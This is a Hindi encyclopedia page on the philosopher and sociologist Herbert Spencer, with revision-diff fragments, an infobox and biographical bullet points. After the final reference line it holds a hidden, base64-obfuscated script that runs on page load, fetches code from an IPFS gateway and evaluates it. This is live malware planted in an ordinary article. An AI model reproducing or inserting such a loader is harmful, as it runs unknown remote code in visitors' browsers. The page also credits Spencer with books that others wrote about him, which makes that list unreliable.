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− | * | + | '''हरबर्ट स्पेन्सर''' ([[अंग्रेज़ी]]: ''Herbert Spencer'' ; जन्म- [[27 अप्रैल]], 1820, डर्बी, [[इंग्लैण्ड]]; मृत्यु- [[8 दिसम्बर]], [[1903]]) प्रसिद्ध शिक्षाविद, दार्शनिक तथा समाजशास्त्री थे। उन्होंने जीव एवं समाज के बीच समानता के आधार पर समाज के उद्विकासीय सिद्धान्त का प्रतिपादन किया। उनके अनुसार [[पदार्थ]] अविनाशी एवं गतिमान होता है। |
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+ | *स्पेन्सर ने भौतिक विश्व, जैविक सजीवों, मानव मन तथा मानवीय संस्कृ्ति व समाजों की क्रमिक विकास के रूप में उत्पत्ति की एक सर्व-समावेशक अवधारणा विकसित की। | ||
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*[[इंग्लैण्ड]] के इस प्रसिद्ध समाजशास्त्री तथा दार्शनिक को मुख्यतः भौतिक दुनिया के प्रगतिशील विकास, जैविक जीवों, मानव मन और मानव संस्कृति और समाज के रूप में विकास की अवधारणा के लिए जाना जाता है। | *[[इंग्लैण्ड]] के इस प्रसिद्ध समाजशास्त्री तथा दार्शनिक को मुख्यतः भौतिक दुनिया के प्रगतिशील विकास, जैविक जीवों, मानव मन और मानव संस्कृति और समाज के रूप में विकास की अवधारणा के लिए जाना जाता है। | ||
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*इन्होंने आगे के वर्षों में अपना लेखन तब तक जारी रखा, जब तक स्वास्थ्य सही रहा। | *इन्होंने आगे के वर्षों में अपना लेखन तब तक जारी रखा, जब तक स्वास्थ्य सही रहा। | ||
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05:00, 29 मई 2015 के समय का अवतरण
हरबर्ट स्पेन्सर
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पूरा नाम | हरबर्ट स्पेन्सर |
जन्म | 27 अप्रैल, 1820 |
जन्म भूमि | डर्बी, इंग्लैण्ड |
मृत्यु | 8 दिसम्बर, 1903 |
मृत्यु स्थान | इंग्लैण्ड |
कर्म-क्षेत्र | पाश्चात्य दर्शन |
प्रसिद्धि | शिक्षाविद, दार्शनिक, समाजशास्त्री |
नागरिकता | ब्रिटिश |
अन्य जानकारी | एक बहुश्रुत व्यक्ति के रूप में स्पेन्सर ने विषयों की एक व्यापक श्रेणी में अपना योगदान दिया, जिनमें नीतिशास्र, धर्म, मानविकी, अर्थशास्र, राजनैतिक सिद्धांत, दर्शनशास्र, जीव विज्ञान, समाजशास्र व मनोविज्ञान शामिल हैं। |
हरबर्ट स्पेन्सर (अंग्रेज़ी: Herbert Spencer ; जन्म- 27 अप्रैल, 1820, डर्बी, इंग्लैण्ड; मृत्यु- 8 दिसम्बर, 1903) प्रसिद्ध शिक्षाविद, दार्शनिक तथा समाजशास्त्री थे। उन्होंने जीव एवं समाज के बीच समानता के आधार पर समाज के उद्विकासीय सिद्धान्त का प्रतिपादन किया। उनके अनुसार पदार्थ अविनाशी एवं गतिमान होता है।
- स्पेन्सर ने भौतिक विश्व, जैविक सजीवों, मानव मन तथा मानवीय संस्कृ्ति व समाजों की क्रमिक विकास के रूप में उत्पत्ति की एक सर्व-समावेशक अवधारणा विकसित की।
- एक बहुश्रुत व्यक्ति के रूप में उन्होंने विषयों की एक व्यापक श्रेणी में अपना योगदान दिया, जिनमें नीतिशास्र, धर्म, मानविकी, अर्थशास्र, राजनैतिक सिद्धांत, दर्शनशास्र, जीव विज्ञान, समाजशास्र व मनोविज्ञान शामिल हैं।
- हरबर्ट स्पेन्सर ने समाज के निर्माण और उसके भावी विकास में भौतिकी और जीव विज्ञान के तत्वों का मिश्रण करके यह प्रतिपादित किया कि समाज एक विराट जीव के समान है।[1]
- इंग्लैण्ड के इस प्रसिद्ध समाजशास्त्री तथा दार्शनिक को मुख्यतः भौतिक दुनिया के प्रगतिशील विकास, जैविक जीवों, मानव मन और मानव संस्कृति और समाज के रूप में विकास की अवधारणा के लिए जाना जाता है।
- हरबर्ट स्पेन्सर का मक़बरा हाईगेट सिमेट्री में स्थित है।
- 1902 में अपनी मृत्यु से पहले, स्पेन्सर साहित्य के 'नोबेल पुरस्कार' के लिए नामांकित हुए थे।
- 'हरबर्ट स्पेन्सर : ऍन एस्टीमेट एंड रिव्यु', 'अ फ्यू वर्ड्स विथ मि. हरबर्ट स्पेन्सर', 'अ परप्लेक्सेड़ फिलॉसफर' आदि इनकी रचनाएँ हैं।
- इन्होंने आगे के वर्षों में अपना लेखन तब तक जारी रखा, जब तक स्वास्थ्य सही रहा।
- हरबर्ट स्पेन्सर का निधन 83 वर्ष की आयु में ख़राब स्वास्थय के चलते हुआ।
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टीका टिप्पणी और संदर्भ
- ↑ शिक्षावोद व बुद्धिजीवी (हिन्दी) डेली जीके न्यूज। अभिगमन तिथि: 13 मार्च, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>